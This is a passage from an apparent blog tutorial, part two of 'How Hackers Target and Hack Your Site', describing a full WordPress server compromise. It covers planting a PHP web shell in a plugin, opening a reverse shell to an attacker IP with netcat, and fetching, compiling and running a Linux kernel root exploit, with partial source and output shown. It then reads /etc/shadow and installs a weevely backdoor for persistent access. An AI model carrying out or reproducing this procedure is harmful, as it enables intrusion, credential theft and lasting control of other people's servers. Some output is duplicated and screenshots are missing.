How Hackers Target and Hack Your Site (2)

We will login with these details in “wp-admin ”

 

And we are in!

 Ok let’s try to

upload php web shell to run some linux commands on your site server J

We will edit a plugin in wordpress called “Textile ” or any plugin you found in plugins page.

 

And choose to edit it

 

We will insert php web shell instead of real plugin. After we’ve done this, we will hit “update file” and browse to our new php shell

 

Woo, the php shell works. Now we can manipulate your site files, but we want only to get root on your server and hack all other sites too.

We will choose “back-connect “tab from php web shell and make back connection to our ip “192.168.1.6″ on port “5555″

 

But before we hit connect, we first make netcat listen on port “5555″ on our attacker machine

 

Now hit connect and you will see:

 

Let’s try some linux commands

 

 

Id command is used to show us what user id, group.

pwd command is used to show us our current path on server

uname –a command is used to show us some information about kernel version

 

Ok, now we knew that server kernel version is 2.6.31.5-127.fc12.1686

Let’s search in exploit-db.com for exploit to this version or newer version

We will type “kernel 2.6.31 ”

 

Date	D	A	V	Description		Plat.	Author
2009-10-15		-		Linux Kernel < 2.6.31-rc4 nfs4_proc_lock() Denial of Service	904	linux	Simon Vallet
2009-08-31		-		Linux Kernel < 2.6.31-rc7 AF_IRDA 29-Byte Stack Disclosure Exploit	1370	linux	Jon Oberheide
2009-08-25		-		Linux Kernel <= 2.6.31-rc7 AF_LLC getsockname 5-Byte Stack Disclosure	1059	linux	Jon Oberheide
2009-08-04		-		Linux Kernel <= 2.6.31-rc5 sigaltstack 4-Byte Stack Disclosure Exploit	1064	linux	Jon Oberheide

After I tried all of them on your server, none of them worked, but then I tried a new exploit

Date	D	A	V	Description		Plat.	Author
2010-10-19		-		Linux RDS Protocol Local Privilege Escalation	9977	linux	Dan Rosenberg

http://www.exploit-db.com/exploits/15285

I opened this url and copied this link

http://www.exploit-db.com/download/15285

And made this command on my netcat shell

We used wget command to fetch exploit from exploit-db.com and used –O to rename it to roro.c

Note: linux kernel exploits mostly is being delopped in c language so we saved it in .c extension, just view exploit source and you will find

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <fcntl.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <errno.h>

#include <string.h>

#include <sys/ptrace.h>

#include <sys/utsname.h>

#define RECVPORT 5555

#define SENDPORT 6666
int prep_sock(int port)
 {

int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0) {
printf(“[*] Could not open socket.\n”);
exit(-1);
 }
 memset(&addr, 0, sizeof(addr));
 

All the above lines indicate that this is exploit is written in C language

After we saved our exploit on server, we will compile it to elf format by typing

gcc roro.c –o roro

 

And run our exploit by typing

./roro  

[*] Linux kernel >= 2.6.30 RDS socket exploit 

[*] by Dan Rosenberg 

[*] Resolving kernel addresses... 

[+] Resolved rds_proto_ops to 0xe09f0b20 

[+] Resolved rds_ioctl to 0xe09db06a 

[+] Resolved commit_creds to 0xc044e5f1 

[+] Resolved prepare_kernel_cred to 0xc044e452 

[*] Overwriting function pointer... 

[*] Linux kernel >= 2.6.30 RDS socket exploit 

[*] by Dan Rosenberg 

[*] Resolving kernel addresses... 

[+] Resolved rds_proto_ops to 0xe09f0b20 

[+] Resolved rds_ioctl to 0xe09db06a 

[+] Resolved commit_creds to 0xc044e5f1 

[+] Resolved prepare_kernel_cred to 0xc044e452 

[*] Overwriting function pointer... 

[*] Triggering payload... 

[*] Restoring function pointer...
 

And after that we type

Id


We will find that we are root J

uid=0(root) gid=0(root)


 

We can now view /etc/shadow file

 And view /etc/passwd file

We can crack all users passwords with the “john the ripper” tool.

But we will not do this; we want to maintain access on this server so we can come to visit/hack it any time J

 

We will use weevely to a small and encoded php backdoor with the password protected and upload this php backdoor to our server.

Let’s do it

1 – weevely usage options :

2 – Creating a php backdoor with password koko by using weevely:

3 – Upload our php backdoor to server using php web shell

 

 

And after we upload it we will connect to it using

 

Testing our hax.php backdoor

 

Conclusion:
 

In this article we learned some techniques that are being used by hackers to target and hack your site and your server. I hope you liked this article and enjoyed it.

In next article we will learn how we can secure your site from these attacks and more, so your website will be very secured against many hacker attacks, even advanced ones!